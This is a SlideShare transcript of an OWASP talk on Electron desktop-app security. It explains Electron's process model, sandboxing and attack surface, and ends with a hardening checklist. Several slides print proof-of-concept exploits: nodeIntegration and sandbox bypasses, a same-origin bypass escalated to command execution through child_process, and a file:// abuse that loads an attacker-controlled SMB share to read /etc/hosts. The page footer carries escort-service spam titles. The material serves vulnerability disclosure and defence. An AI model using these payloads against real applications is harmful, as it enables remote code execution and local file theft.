SlideShare uma empresa Scribd logo
1 de 70
Baixar para ler offline
A Study of Electron Security 

# OWASPPolandDay 02.10
Luca Carettoni - luca@doyensec.com
About me
• AppSec since 2004
• Doyensec Co-founder
• Former Lead of
AppSec (LinkedIn),
Director of Security
(Addepar), Senior
Security Researcher
(Matasano), ….
Agenda
1. Electron Overview
2. Ecosystem
3. Security Model
4. Attack Surface
5. Apps Security Checklist
6. Conclusion



Use #Electronegativity for comments/questions!
Thanks to:
• Electron Core and Github Security Teams
• For the best disclosure experience in 15
years of vulnerability research

• Claudio Merloni
• For the help on Electronegativity code
1. Electron Overview
https://electron.atom.io/
“If you can build a
website, you can
build a desktop app”
• OpenSource
framework to build
desktop apps using
HTML, CSS and
JavaScript



• Maintained by 

Principles
• Cross-platform. Runtime with self-contained
dependencies
• Modular. To facilitate re-use and keep Electron
small and simple
• Easy to use. You shouldn’t worry about
installers, profiling, debugging, notifications,
updates, …
Back and forth
• Web Development is fun, but…
• Conditional rules for all different
browsers and versions
• Limited I/O with the OS
• Performance and network latency
Ingredients
Anatomy of Electron-based Apps
Libchromiumcontent Node.js
Electron
Your App
npm npm
npm npm npm npm
npm
Lifecycle
package.json main process
render process
render process
render process
…
HTML
CSS
JS
app.asar
main.js
render.js
Processes
Main
BrowserWindow
Menu, Tray, …
ipcMain
Renderer
Node.js API
webFrame
DOM
ipcRenderer
<webview>
Node.js API
creates
communicates
IpcMain and ipcRenderer 1/2
• Synchronous and Asynchronous messages
from the renderer (web page) to the main
process

// Main
const {ipcMain} = require('electron')
ipcMain.on('synchronous-message', (event, arg) => {
console.log(arg)
event.returnValue = 'pong'
})
// Renderer
const {ipcRenderer} = require('electron')
console.log(ipcRenderer.sendSync('synchronous-message', 'ping'))
IpcMain and ipcRenderer 2/2
• Interestingly, this is also used for
implementing native Electron APIs
• /lib/browser/rpc-server.js
2. Ecosystem
Many Electron-based Apps
…and 350* more
* Registered on https://electron.atom.io/apps/
Electron ♥ NPM
• So, you can import custom NPM modules
• ~Half a million packages of vulnerable reusable code
• “LeftPad broke the Internet”
• “How I obtained publish access to 14% of npm
packages (including popular ones)” by @ChALkeR
• There are also Electron-specific modules:
• Tools
• Boilerplates
• Components
3. Security Model
Browser Security Model
“Several experts have told me in all seriousness
that browser security models are now so complex
that I should not even write a section about this”

Threat Modeling - Adam Shostack
Browser Threat Model
Browser Threat Model
From Browser to Electron - Malicious Content
• Untrusted content from the web
• Limited interaction, compared to a browser
• E.g. opening a <webview> with a remote origin

• Untrusted local resources
• Extended attack surface
• E.g. loading subtitle files

• Potential access to Node.js primitives
• Limited Chrome-like sandbox
• From XSS to RCE
• Exploits are reliable

From Browser to Electron - Isolation
Electron is NOT a browser
• While it is based on Chromium’s Content
module, certain principles and security
mechanisms implemented by modern
browsers are not enforced in today’s
Electron
• Things will change in Electron v2.x
nodeIntegration / nodeIntegrationInWorker
• Control whether access to Node.js
primitives is allowed from JavaScript
• Part of webPreferences
• In recent versions, Chrome’s Isolated
Worlds is used
• New v8 context with proxies to the
window and document object (ro)
nodeIntegration
FALSETRUE
Renderer Isolation
1. BrowserWindow (nodeIntegration enabled by default)



mainWindow = new BrowserWindow({

“webPreferences”: {

“nodeIntegration” : false,

“nodeIntegrationInWorker” : false }});

2. <webview> tag (nodeIntegration disabled by default)

<webview id="foo" src="https://www.doyensec.com/"></webview>
Sandboxing 1/2
• nodeIntegration disabled is not enough
• sandbox
• Currently supports BrowserWindow only
• Experimental feature
• This will allow renderer to run inside a native
Chromium OS sandbox
• All communication via IPC to the main process
• When sanbox is enabled, nodeintegration is
disabled
Sandboxing 2/2
• Sandboxing needs to be explicitly enabled:



mainWindow = new BrowserWindow({

“webPreferences”: {

“sandbox” : true}});
• To enable it for all BrowserWindow instances, a
command line argument is necessary: 

$ electron --enable-sandbox app.js
Resistance is futile
• Preload scripts still have access to few modules
• child_process, crashReporter, remote, ipcRenderer, fs, os, times,
url

1. Sandbox bypass in preload scripts using remote 



app = require('electron').remote.app

2. Sandbox bypass in preload scripts using internal Electron IPC
messages 



{ipcRenderer} = require('electron')

app = ipcRenderer.sendSync('ELECTRON_BROWSER_GET_BUILTIN', 'app')
ContextIsolation
• This flag introduces JavaScript context isolation for
preload scripts, as implemented in Chrome Content
Scripts
• Preload scripts still have access to global variables (ro)





win = new BrowserWindow({
webPreferences: {
contextIsolation: true,
preload: 'preload.js'
}})
4. Attack Surface
Electron App Attack Surface
Libchromiumcontent
Foundation
• Outdated vulnerable versions
• Runtime Flags
Node.js
Electron
Framework
• Outdated vulnerable versions
• Glorified APIs
• Custom Flags
Your App
npmDependencies
• Vulnerable or unmaintained NPM
Custom Code
• Insecure use of APIs
• Untrusted resources
• Custom protocol handlers
• Preload scripts
• TLS validation disabled
• …
npm npm
npm npm npm npm
Focus of my research
Libchromiumcontent
Foundation
• Outdated vulnerable versions
• Runtime Flags
Node.js
Electron
Framework
• Outdated vulnerable versions
• Glorified APIs
• Custom Flags
Your App
npmDependencies
• Vulnerable or unmaintained NPM
Custom Code
• Insecure use of APIs
• Untrusted resources
• Custom protocol handlers
• Preload scripts
• TLS validation disabled
• …
npm npm
npm npm npm npm
Foundation - Outdated Chromium and Node.js
• Electron-dev community is well aware
• They’ve established an upgrade policy*:
• ~2 weeks after new stable Chrome
• ~4 weeks after new Node.js
• V8 upgrades already there
* see https://electron.atom.io/docs/faq/#when-will-electron-upgrade-to-
latest-chrome “This estimate is not guaranteed and depends on the
amount of work involved with upgrading”
Foundation - Outdated Chromium and Node.js
• Keeping track of all
changes is hard
• Making sure that all
security changes have
been back-ported is
even harder
• On 2017-02-21, Node 7.6.0 release
included the following pull request:


• Until May, Electron was still on Node 7.4.0
• Notified the team on May 12, 2017
• Fixed in v1.6.11 on May 25, 2017
I ♥ ChangeLogs
Another example - A recent Chromium RCE
• On August 16, 2017, SecuriTeam published “Chrome Turbofan
Remote Code Execution”
• Full technical details and exploit
• Affects Chrome browser version 59 only. Won’t fix for
Google, since version 60 isn’t affected
• However, Electron shipped with libchromiumcontent v59.x
• Fixed on September 27, 2017 in Electron 1.7.8 and 1.6.14
• You should update Electron to the latest release ASAP!
Framework - Weaknesses and bugs
• Framework level bugs are particularly
interesting:
1. Deviations from browser principles and
security mechanisms
2. Implementation bugs
• Mostly discovered reading source code
and documentation
Framework - Outdated vulnerable versions
• Apps are shipped with a build of Electron
• nodeIntegration bypasses are golden tickets:
1. Find XSS
2. Exploit the nodeIntegration bypass
3. Use Node.js APIs to obtain reliable RCE
History of nodeIntegration bypasses
• Limited disclosure of this type of vulnerabilities
• “As it stands Electron Security” by Dean Kerr - 9 March 2016

• Window.Open - Fixed in v0.37.4 (Issue 4026)
• Credit: Jeffrey Wear

<script>
window.open(“http://x.x.x.x/index.html”, "","nodeIntegration=1");
</script>

• WebView Attribute - Fixed in v0.37.8 (Issue 3943)
• Credit: Cheng Zhao

<webview nodeintegration src=“http://x.x.xx/index.html”></webview>
Have I told you that I ♥ ChangeLogs?
• Goal: study all past vulnerabilities

• Starting from Electron v1.3.2, each release
includes changelog entries
• Reverse psychology before reverse engineering
Never 

Look 

Here
Spot the security fix 1/2
Spot the security fix 2/2
Results:
• v1.4.15: The webview element now emits the context-menu event from the
underlying webContents object
• v1.4.11: Fixed an issue where window.alert, window.close, and window.confirm
did not behave as expected
• v1.3.13: Fixed an issue where window.alert, window.close, and window.confirm
did not behave as expected
• v1.4.10: Fixed an issue where the window.opener API did not behave as
expected
• v1.3.12: Fixed an issue where the window.opener API did not behave as
expected
• v1.4.7: Fixed an issue where the window.opener API did not behave as expected
• v1.3.9: Fixed an issue where the window.opener API did not behave as expected
• v0.37.8: Disable node integration in webview when it is disabled in host page
• v0.37.4: Disable node integration in child windows opened with window.open
when node integration is disabled in parent window
Electron core team is awesome!
Case Study: v1.3.9 Changes
• Protip: reversing a back-port is easier, smaller diff

• Included code changes to check whether the sender is
parent of target, nodeIntegration is enabled and same origin
• So it had something to do with window.open without Node,
but enabled in the parent 

• Proof-of-Concept:

<script>

window.opener.eval(‘window.open(“http://x.x.x.x/foo.html”,””,"nodeIntegration=yes")');

</script>
We’re on 1.6.x
• Apparently, no universal bypasses fixed in recent versions

• Started reading the documentation and realized that I could
bypass SOP with:

<!— SOP Bypass #1 —>

<script>
const win = window.open("https://www.google.com");
win.location = "javascript:alert(document.domain)";
</script>

<!— SOP Bypass #2 —> 

<script>
const win = window.open("https://www.google.com");
win.eval(“alert(document.domain)");
</script>
BrowserWindowProxy and Eval
• A good example of Electron’s “Glorified” APIs
• When you open a new window with open(), Electron
returns a BrowserWindowProxy object
Parent Child
1 - window.open()
2 - BrowserWindowProxy obj
3 - window.eval(js_code)
4 - js_code
SOP-Bypass As a Feature
• The current implementation does not
strictly enforce the Same-Origin Policy
• Still work in progress
• https://github.com/electron/electron/pull/8963
• Chromium —disablewebsecurity flag exists, but it’s
kind of irrelevant
SOP2RCE
• How can we leverage the SOP-bypass to
obtain code execution?

• lib/renderer/init.js
PoC - Reported on May 10

Fixed in v1.6.8
<!DOCTYPE html>
<html>
<head>
<title>Electron 1.6.7 BrowserWindowProxy SOP -> RCE</title>
</head>
<body>
<script>
document.write("Current location:" + window.location.href + "<br>");
const win = window.open(“chrome-devtools://devtools/bundled/inspector.html");
win.eval("const execFile = require('child_process').execFile; const child =
execFile('touch', ['/tmp/electronegativity'], (error, stdout, stderr) => {});”);
</script>
</body>
</html>
Framework - “Glorified” APIs
• Electron extends the default JavaScript APIs
• nodeIntegration doesn’t affect this behavior
• However, sandboxed renderers are supposed
to have native Chromium-like APIs
• Current implementation does not revert the
behavior of ALL “glorified” APIs
Example: HTML5 File path attribute
• HTML5 File API capabilities was extended
in Electron with the path attribute
• Path exposes the file’s real path on the fs

• For reference, modern browsers do limit
path exposure during files upload
• E.g. IE8 replaces the filename property with
a bogus value c:fakepathfile.txt
Framework - “Glorified” APIs bug
• The extended behavior is still exposed even
when sandbox:true
• A remote origin could leverage this bug to
leak the full path and username
• Reported on May 10th, still open
Framework - Deviations from browser standards
• SOP enforcement
• Fewer restrictions around privacy and
secure UX
• file:// handler can be abused to read
arbitrary files
Example: HTML5 Media Capture API
• HTML5 allows access to local media devices,
thus making possible to record video and
audio
• Browsers have implemented notification to
inform the user that a remote site is capturing
the webcam stream
HTML5 Media Capture API in Electron
• Electron does not display any notification
• XSS on Electron apps can be leveraged to
silently capture screenshots, video and
audio recording
file:// handler abuse
• Untrusted page can read local resources without user
interaction
• Open issue 

https://github.com/electron/electron/issues/5151

window.open("smb://guest:guest@attackersite/public/");
setTimeout(function(){
window.open("file:///Volumes/public/test.html");
}, 10000);
<!— test.html —>
<iframe src="file:///etc/hosts"
onload=“alert(this.contentDocument.body.innerHTML)"></iframe>
5. Electron-based Apps 

Security Checklist 



Custom Code - Vulnerabilities in your app
• On top of what we discussed so far, there are
also application vulnerabilities
• Traditional web vulnerabilities
• Insecure use of Electron’s APIs
• Wrong assumptions (Browser vs Electron)
Our practical checklist
1. Disable nodeIntegration for untrusted origins
2. Use sandbox for untrusted origins
3. Review the use of command line arguments
4. Review the use of preload scripts
5. Do not use disablewebsecurity
6. Do not allow insecure HTTP connections
7. Do not use Chromium’s experimental features
8. Limit navigation flows to untrusted origins
9. Use setPermissionRequestHandler for
untrusted origins
10. Do not use insertCSS, executeJavaScript or
eval with user-supplied content
11. Do not allow popups in webview
12. Review the use of custom protocol handlers
13. Review the use of openExternal
Electronegativity
• Download our checklist white-paper at: 

https://www.doyensec.com/research.html
• To facilitate secure development and security
testing, we are also releasing a tool
• Leverages AST parsing to look for all issues
discussed in the checklist
• Electronegativity code will be available soon!
6. Conclusions
Conclusions
• Hopefully, our study will lead to more secure Electron apps
• Today’s Electron is not secure (by default) to render
untrusted content:
• Having a good understanding of Electron’s internals,
secure apps can be built
• v2.x is expected to be the security game-changer
Future Work
• Electron vs Muon
• Leverage Electronegativity to understand
the state of Electron Apps security
• More vulnerability research on Electron
Thanks!
• Feel free to reach out
• @lucacarettoni
• luca@doyensec.com

Mais conteúdo relacionado

Mais procurados

[OWASP Poland Day] Web App Security Architectures
[OWASP Poland Day] Web App Security Architectures[OWASP Poland Day] Web App Security Architectures
[OWASP Poland Day] Web App Security Architectures
OWASP
 
[Wroclaw #2] Web Application Security Headers
[Wroclaw #2] Web Application Security Headers[Wroclaw #2] Web Application Security Headers
[Wroclaw #2] Web Application Security Headers
OWASP
 
Tw noche geek quito webappsec
Tw noche geek quito   webappsecTw noche geek quito   webappsec
Tw noche geek quito webappsec
Thoughtworks
 
Csw2016 freingruber bypassing_application_whitelisting
Csw2016 freingruber bypassing_application_whitelistingCsw2016 freingruber bypassing_application_whitelisting
Csw2016 freingruber bypassing_application_whitelisting
CanSecWest
 

Mais procurados (20)

[OWASP Poland Day] Web App Security Architectures
[OWASP Poland Day] Web App Security Architectures[OWASP Poland Day] Web App Security Architectures
[OWASP Poland Day] Web App Security Architectures
 
[Wroclaw #2] iOS Security - 101
[Wroclaw #2] iOS Security - 101[Wroclaw #2] iOS Security - 101
[Wroclaw #2] iOS Security - 101
 
[Wroclaw #2] Web Application Security Headers
[Wroclaw #2] Web Application Security Headers[Wroclaw #2] Web Application Security Headers
[Wroclaw #2] Web Application Security Headers
 
Tw noche geek quito webappsec
Tw noche geek quito   webappsecTw noche geek quito   webappsec
Tw noche geek quito webappsec
 
DevSecOps: What Why and How : Blackhat 2019
DevSecOps: What Why and How : Blackhat 2019DevSecOps: What Why and How : Blackhat 2019
DevSecOps: What Why and How : Blackhat 2019
 
[Wroclaw #9] The purge - dealing with secrets in Opera Software
[Wroclaw #9] The purge - dealing with secrets in Opera Software[Wroclaw #9] The purge - dealing with secrets in Opera Software
[Wroclaw #9] The purge - dealing with secrets in Opera Software
 
Fortify dev ops (002)
Fortify   dev ops (002)Fortify   dev ops (002)
Fortify dev ops (002)
 
Anatomy of a Cloud Hack
Anatomy of a Cloud HackAnatomy of a Cloud Hack
Anatomy of a Cloud Hack
 
Mirai botnet
Mirai botnetMirai botnet
Mirai botnet
 
Humla workshop on Android Security Testing - null Singapore
Humla workshop on Android Security Testing - null SingaporeHumla workshop on Android Security Testing - null Singapore
Humla workshop on Android Security Testing - null Singapore
 
BlueHat v17 || All Your Cloud Are Belong to Us; Hunting Compromise in Azure
BlueHat v17 || All Your Cloud Are Belong to Us; Hunting Compromise in Azure  BlueHat v17 || All Your Cloud Are Belong to Us; Hunting Compromise in Azure
BlueHat v17 || All Your Cloud Are Belong to Us; Hunting Compromise in Azure
 
BlueHat v17 || Down the Open Source Software Rabbit Hole
BlueHat v17 || Down the Open Source Software Rabbit Hole BlueHat v17 || Down the Open Source Software Rabbit Hole
BlueHat v17 || Down the Open Source Software Rabbit Hole
 
Security testautomation
Security testautomationSecurity testautomation
Security testautomation
 
Evaluating container security with ATT&CK Framework
Evaluating container security with ATT&CK FrameworkEvaluating container security with ATT&CK Framework
Evaluating container security with ATT&CK Framework
 
Practice of AppSec .NET
Practice of AppSec .NETPractice of AppSec .NET
Practice of AppSec .NET
 
Secure Node Code (workshop, O'Reilly Security)
Secure Node Code (workshop, O'Reilly Security)Secure Node Code (workshop, O'Reilly Security)
Secure Node Code (workshop, O'Reilly Security)
 
Csw2016 freingruber bypassing_application_whitelisting
Csw2016 freingruber bypassing_application_whitelistingCsw2016 freingruber bypassing_application_whitelisting
Csw2016 freingruber bypassing_application_whitelisting
 
Continuous Security Testing with Devops - OWASP EU 2014
Continuous Security Testing  with Devops - OWASP EU 2014Continuous Security Testing  with Devops - OWASP EU 2014
Continuous Security Testing with Devops - OWASP EU 2014
 
OWASP Portland - OWASP Top 10 For JavaScript Developers
OWASP Portland - OWASP Top 10 For JavaScript DevelopersOWASP Portland - OWASP Top 10 For JavaScript Developers
OWASP Portland - OWASP Top 10 For JavaScript Developers
 
Securing Serverless - By Breaking In
Securing Serverless - By Breaking InSecuring Serverless - By Breaking In
Securing Serverless - By Breaking In
 

Semelhante a [OWASP Poland Day] A study of Electron security

Semelhante a [OWASP Poland Day] A study of Electron security (20)

Applied Security for Containers, OW2con'18, June 7-8, 2018, Paris
Applied Security for Containers, OW2con'18, June 7-8, 2018, ParisApplied Security for Containers, OW2con'18, June 7-8, 2018, Paris
Applied Security for Containers, OW2con'18, June 7-8, 2018, Paris
 
ServerSentEventsV2.pdf
ServerSentEventsV2.pdfServerSentEventsV2.pdf
ServerSentEventsV2.pdf
 
Understanding container security
Understanding container securityUnderstanding container security
Understanding container security
 
Moving a Monolith to Kubernetes
Moving a Monolith to KubernetesMoving a Monolith to Kubernetes
Moving a Monolith to Kubernetes
 
Selenium presentation
Selenium presentationSelenium presentation
Selenium presentation
 
Learn Electron for Web Developers
Learn Electron for Web DevelopersLearn Electron for Web Developers
Learn Electron for Web Developers
 
Java microservicesspringbootcasestudy2
Java microservicesspringbootcasestudy2Java microservicesspringbootcasestudy2
Java microservicesspringbootcasestudy2
 
How do JavaScript frameworks impact the security of applications?
How do JavaScript frameworks impact the security of applications?How do JavaScript frameworks impact the security of applications?
How do JavaScript frameworks impact the security of applications?
 
Openstack components as containerized microservices
Openstack components as containerized microservicesOpenstack components as containerized microservices
Openstack components as containerized microservices
 
Demystifying Containerization Principles for Data Scientists
Demystifying Containerization Principles for Data ScientistsDemystifying Containerization Principles for Data Scientists
Demystifying Containerization Principles for Data Scientists
 
JCON_15FactorWorkshop.pptx
JCON_15FactorWorkshop.pptxJCON_15FactorWorkshop.pptx
JCON_15FactorWorkshop.pptx
 
Short-Training asp.net vNext
Short-Training asp.net vNextShort-Training asp.net vNext
Short-Training asp.net vNext
 
No Compromise - Better, Stronger, Faster Java in the Cloud
No Compromise - Better, Stronger, Faster Java in the CloudNo Compromise - Better, Stronger, Faster Java in the Cloud
No Compromise - Better, Stronger, Faster Java in the Cloud
 
From MEAN to the MERN Stack
From MEAN to the MERN StackFrom MEAN to the MERN Stack
From MEAN to the MERN Stack
 
Developing Java Microservices Fast with Open Liberty
Developing Java Microservices Fast with Open LibertyDeveloping Java Microservices Fast with Open Liberty
Developing Java Microservices Fast with Open Liberty
 
ServerSentEvents.pdf
ServerSentEvents.pdfServerSentEvents.pdf
ServerSentEvents.pdf
 
SCADA Software or Swiss Cheese Software - CODE BLUE, Japan
SCADA Software or Swiss Cheese Software - CODE BLUE, JapanSCADA Software or Swiss Cheese Software - CODE BLUE, Japan
SCADA Software or Swiss Cheese Software - CODE BLUE, Japan
 
Java Restart with WebFX
Java Restart with WebFX Java Restart with WebFX
Java Restart with WebFX
 
Dockerization of real mobile device farm and scalable QA automation ecosystem
Dockerization of real mobile device farm and scalable QA automation ecosystemDockerization of real mobile device farm and scalable QA automation ecosystem
Dockerization of real mobile device farm and scalable QA automation ecosystem
 
A Distributed Malware Analysis System Cuckoo Sandbox
A Distributed Malware Analysis System Cuckoo SandboxA Distributed Malware Analysis System Cuckoo Sandbox
A Distributed Malware Analysis System Cuckoo Sandbox
 

Mais de OWASP

[OPD 2019] Web Apps vs Blockchain dApps
[OPD 2019] Web Apps vs Blockchain dApps[OPD 2019] Web Apps vs Blockchain dApps
[OPD 2019] Web Apps vs Blockchain dApps
OWASP
 
[OPD 2019] Threat modeling at scale
[OPD 2019] Threat modeling at scale[OPD 2019] Threat modeling at scale
[OPD 2019] Threat modeling at scale
OWASP
 
[OPD 2019] Life after pentest
[OPD 2019] Life after pentest[OPD 2019] Life after pentest
[OPD 2019] Life after pentest
OWASP
 
[OPD 2019] Top 10 Security Facts of 2020
[OPD 2019] Top 10 Security Facts of 2020[OPD 2019] Top 10 Security Facts of 2020
[OPD 2019] Top 10 Security Facts of 2020
OWASP
 
[OPD 2019] Governance as a missing part of IT security architecture
[OPD 2019] Governance as a missing part of IT security architecture[OPD 2019] Governance as a missing part of IT security architecture
[OPD 2019] Governance as a missing part of IT security architecture
OWASP
 
[OPD 2019] Storm Busters: Auditing & Securing AWS Infrastructure
[OPD 2019] Storm Busters: Auditing & Securing AWS Infrastructure[OPD 2019] Storm Busters: Auditing & Securing AWS Infrastructure
[OPD 2019] Storm Busters: Auditing & Securing AWS Infrastructure
OWASP
 
[OPD 2019] Side-Channels on the Web:
Attacks and Defenses
[OPD 2019] Side-Channels on the Web:
Attacks and Defenses[OPD 2019] Side-Channels on the Web:
Attacks and Defenses
[OPD 2019] Side-Channels on the Web:
Attacks and Defenses
OWASP
 
[OPD 2019] AST Platform and the importance of multi-layered application secu...
[OPD 2019]  AST Platform and the importance of multi-layered application secu...[OPD 2019]  AST Platform and the importance of multi-layered application secu...
[OPD 2019] AST Platform and the importance of multi-layered application secu...
OWASP
 
[OPD 2019] Inter-application vulnerabilities
[OPD 2019] Inter-application vulnerabilities[OPD 2019] Inter-application vulnerabilities
[OPD 2019] Inter-application vulnerabilities
OWASP
 
[OPD 2019] Automated Defense with Serverless computing
[OPD 2019] Automated Defense with Serverless computing[OPD 2019] Automated Defense with Serverless computing
[OPD 2019] Automated Defense with Serverless computing
OWASP
 
[OPD 2019] Advanced Data Analysis in RegSOC
[OPD 2019] Advanced Data Analysis in RegSOC[OPD 2019] Advanced Data Analysis in RegSOC
[OPD 2019] Advanced Data Analysis in RegSOC
OWASP
 
[OPD 2019] Trusted types and the end of DOM XSS
[OPD 2019] Trusted types and the end of DOM XSS[OPD 2019] Trusted types and the end of DOM XSS
[OPD 2019] Trusted types and the end of DOM XSS
OWASP
 
[Wroclaw #9] To be or Not To Be - Threat Modeling in Security World
[Wroclaw #9] To be or Not To Be - Threat Modeling in Security World[Wroclaw #9] To be or Not To Be - Threat Modeling in Security World
[Wroclaw #9] To be or Not To Be - Threat Modeling in Security World
OWASP
 

Mais de OWASP (20)

[OPD 2019] Web Apps vs Blockchain dApps
[OPD 2019] Web Apps vs Blockchain dApps[OPD 2019] Web Apps vs Blockchain dApps
[OPD 2019] Web Apps vs Blockchain dApps
 
[OPD 2019] Threat modeling at scale
[OPD 2019] Threat modeling at scale[OPD 2019] Threat modeling at scale
[OPD 2019] Threat modeling at scale
 
[OPD 2019] Life after pentest
[OPD 2019] Life after pentest[OPD 2019] Life after pentest
[OPD 2019] Life after pentest
 
[OPD 2019] .NET Core Security
[OPD 2019] .NET Core Security[OPD 2019] .NET Core Security
[OPD 2019] .NET Core Security
 
[OPD 2019] Top 10 Security Facts of 2020
[OPD 2019] Top 10 Security Facts of 2020[OPD 2019] Top 10 Security Facts of 2020
[OPD 2019] Top 10 Security Facts of 2020
 
[OPD 2019] Governance as a missing part of IT security architecture
[OPD 2019] Governance as a missing part of IT security architecture[OPD 2019] Governance as a missing part of IT security architecture
[OPD 2019] Governance as a missing part of IT security architecture
 
[OPD 2019] Storm Busters: Auditing & Securing AWS Infrastructure
[OPD 2019] Storm Busters: Auditing & Securing AWS Infrastructure[OPD 2019] Storm Busters: Auditing & Securing AWS Infrastructure
[OPD 2019] Storm Busters: Auditing & Securing AWS Infrastructure
 
[OPD 2019] Side-Channels on the Web:
Attacks and Defenses
[OPD 2019] Side-Channels on the Web:
Attacks and Defenses[OPD 2019] Side-Channels on the Web:
Attacks and Defenses
[OPD 2019] Side-Channels on the Web:
Attacks and Defenses
 
[OPD 2019] AST Platform and the importance of multi-layered application secu...
[OPD 2019]  AST Platform and the importance of multi-layered application secu...[OPD 2019]  AST Platform and the importance of multi-layered application secu...
[OPD 2019] AST Platform and the importance of multi-layered application secu...
 
[OPD 2019] Inter-application vulnerabilities
[OPD 2019] Inter-application vulnerabilities[OPD 2019] Inter-application vulnerabilities
[OPD 2019] Inter-application vulnerabilities
 
[OPD 2019] Automated Defense with Serverless computing
[OPD 2019] Automated Defense with Serverless computing[OPD 2019] Automated Defense with Serverless computing
[OPD 2019] Automated Defense with Serverless computing
 
[OPD 2019] Advanced Data Analysis in RegSOC
[OPD 2019] Advanced Data Analysis in RegSOC[OPD 2019] Advanced Data Analysis in RegSOC
[OPD 2019] Advanced Data Analysis in RegSOC
 
[OPD 2019] Attacking JWT tokens
[OPD 2019] Attacking JWT tokens[OPD 2019] Attacking JWT tokens
[OPD 2019] Attacking JWT tokens
 
[OPD 2019] Rumpkernels meet fuzzing
[OPD 2019] Rumpkernels meet fuzzing[OPD 2019] Rumpkernels meet fuzzing
[OPD 2019] Rumpkernels meet fuzzing
 
[OPD 2019] Trusted types and the end of DOM XSS
[OPD 2019] Trusted types and the end of DOM XSS[OPD 2019] Trusted types and the end of DOM XSS
[OPD 2019] Trusted types and the end of DOM XSS
 
[Wroclaw #9] To be or Not To Be - Threat Modeling in Security World
[Wroclaw #9] To be or Not To Be - Threat Modeling in Security World[Wroclaw #9] To be or Not To Be - Threat Modeling in Security World
[Wroclaw #9] To be or Not To Be - Threat Modeling in Security World
 
OWASP Poland 13 November 2018 - Martin Knobloch - Building Secure Software
OWASP Poland 13 November 2018 - Martin Knobloch - Building Secure SoftwareOWASP Poland 13 November 2018 - Martin Knobloch - Building Secure Software
OWASP Poland 13 November 2018 - Martin Knobloch - Building Secure Software
 
OWASP Poland Day 2018 - Amir Shladovsky - Crypto-mining
OWASP Poland Day 2018 - Amir Shladovsky - Crypto-miningOWASP Poland Day 2018 - Amir Shladovsky - Crypto-mining
OWASP Poland Day 2018 - Amir Shladovsky - Crypto-mining
 
OWASP Poland Day 2018 - Damian Rusinek - Outsmarting smart contracts
OWASP Poland Day 2018 - Damian Rusinek - Outsmarting smart contractsOWASP Poland Day 2018 - Damian Rusinek - Outsmarting smart contracts
OWASP Poland Day 2018 - Damian Rusinek - Outsmarting smart contracts
 
OWASP Poland Day 2018 - Frans Rosen - Attacking modern web technologies
OWASP Poland Day 2018 - Frans Rosen - Attacking modern web technologiesOWASP Poland Day 2018 - Frans Rosen - Attacking modern web technologies
OWASP Poland Day 2018 - Frans Rosen - Attacking modern web technologies
 

Último

VIP Call Girls Pollachi 7001035870 Whatsapp Number, 24/07 Booking
VIP Call Girls Pollachi 7001035870 Whatsapp Number, 24/07 BookingVIP Call Girls Pollachi 7001035870 Whatsapp Number, 24/07 Booking
VIP Call Girls Pollachi 7001035870 Whatsapp Number, 24/07 Booking
dharasingh5698
 
💚😋 Bilaspur Escort Service Call Girls, 9352852248 ₹5000 To 25K With AC💚😋
💚😋 Bilaspur Escort Service Call Girls, 9352852248 ₹5000 To 25K With AC💚😋💚😋 Bilaspur Escort Service Call Girls, 9352852248 ₹5000 To 25K With AC💚😋
💚😋 Bilaspur Escort Service Call Girls, 9352852248 ₹5000 To 25K With AC💚😋
nirzagarg
 
VIP Call Girls Himatnagar 7001035870 Whatsapp Number, 24/07 Booking
VIP Call Girls Himatnagar 7001035870 Whatsapp Number, 24/07 BookingVIP Call Girls Himatnagar 7001035870 Whatsapp Number, 24/07 Booking
VIP Call Girls Himatnagar 7001035870 Whatsapp Number, 24/07 Booking
dharasingh5698
 
Call Girls in Prashant Vihar, Delhi 💯 Call Us 🔝9953056974 🔝 Escort Service
Call Girls in Prashant Vihar, Delhi 💯 Call Us 🔝9953056974 🔝 Escort ServiceCall Girls in Prashant Vihar, Delhi 💯 Call Us 🔝9953056974 🔝 Escort Service
Call Girls in Prashant Vihar, Delhi 💯 Call Us 🔝9953056974 🔝 Escort Service
9953056974 Low Rate Call Girls In Saket, Delhi NCR
 

Último (20)

VIP Call Girls Pollachi 7001035870 Whatsapp Number, 24/07 Booking
VIP Call Girls Pollachi 7001035870 Whatsapp Number, 24/07 BookingVIP Call Girls Pollachi 7001035870 Whatsapp Number, 24/07 Booking
VIP Call Girls Pollachi 7001035870 Whatsapp Number, 24/07 Booking
 
Wagholi & High Class Call Girls Pune Neha 8005736733 | 100% Gennuine High Cla...
Wagholi & High Class Call Girls Pune Neha 8005736733 | 100% Gennuine High Cla...Wagholi & High Class Call Girls Pune Neha 8005736733 | 100% Gennuine High Cla...
Wagholi & High Class Call Girls Pune Neha 8005736733 | 100% Gennuine High Cla...
 
Hire↠Young Call Girls in Tilak nagar (Delhi) ☎️ 9205541914 ☎️ Independent Esc...
Hire↠Young Call Girls in Tilak nagar (Delhi) ☎️ 9205541914 ☎️ Independent Esc...Hire↠Young Call Girls in Tilak nagar (Delhi) ☎️ 9205541914 ☎️ Independent Esc...
Hire↠Young Call Girls in Tilak nagar (Delhi) ☎️ 9205541914 ☎️ Independent Esc...
 
20240510 QFM016 Irresponsible AI Reading List April 2024.pdf
20240510 QFM016 Irresponsible AI Reading List April 2024.pdf20240510 QFM016 Irresponsible AI Reading List April 2024.pdf
20240510 QFM016 Irresponsible AI Reading List April 2024.pdf
 
Real Escorts in Al Nahda +971524965298 Dubai Escorts Service
Real Escorts in Al Nahda +971524965298 Dubai Escorts ServiceReal Escorts in Al Nahda +971524965298 Dubai Escorts Service
Real Escorts in Al Nahda +971524965298 Dubai Escorts Service
 
Call Now ☎ 8264348440 !! Call Girls in Green Park Escort Service Delhi N.C.R.
Call Now ☎ 8264348440 !! Call Girls in Green Park Escort Service Delhi N.C.R.Call Now ☎ 8264348440 !! Call Girls in Green Park Escort Service Delhi N.C.R.
Call Now ☎ 8264348440 !! Call Girls in Green Park Escort Service Delhi N.C.R.
 
Real Men Wear Diapers T Shirts sweatshirt
Real Men Wear Diapers T Shirts sweatshirtReal Men Wear Diapers T Shirts sweatshirt
Real Men Wear Diapers T Shirts sweatshirt
 
Call Girls Sangvi Call Me 7737669865 Budget Friendly No Advance BookingCall G...
Call Girls Sangvi Call Me 7737669865 Budget Friendly No Advance BookingCall G...Call Girls Sangvi Call Me 7737669865 Budget Friendly No Advance BookingCall G...
Call Girls Sangvi Call Me 7737669865 Budget Friendly No Advance BookingCall G...
 
💚😋 Bilaspur Escort Service Call Girls, 9352852248 ₹5000 To 25K With AC💚😋
